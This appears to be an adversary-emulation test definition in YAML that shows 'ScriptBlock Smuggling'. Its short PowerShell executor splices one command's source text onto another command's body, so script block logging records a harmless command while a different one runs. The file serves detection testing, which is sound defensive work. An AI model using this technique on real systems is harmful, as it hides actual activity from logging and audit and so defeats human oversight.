ScriptBlockSmuggling.yaml

- name: ScriptBlock Smuggling
  description: This test demonstrates the use of ScriptBlock Smuggling to spoof PowerShell logs.
  supported_platforms:
  - windows
  input_arguments:
    spoofed_command:
      description: The benign command to be logged.
      type: string
      default: Write-Output 'Hello'
    executed_command:
      description: The actual command to be executed.
      type: string
      default: Write-Output 'World'
  executor:
    name: powershell
    command: |
      $SpoofedAst = [ScriptBlock]::Create("#{spoofed_command}").Ast
      $ExecutedAst = [ScriptBlock]::Create("#{executed_command}").Ast
      $Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
                                                                         $null,
                                                                         $null,
                                                                         $null,
                                                                         $ExecutedAst.EndBlock.Copy(),
                                                                         $null)
      $Sb = $Ast.GetScriptBlock()
      $Sb.Invoke()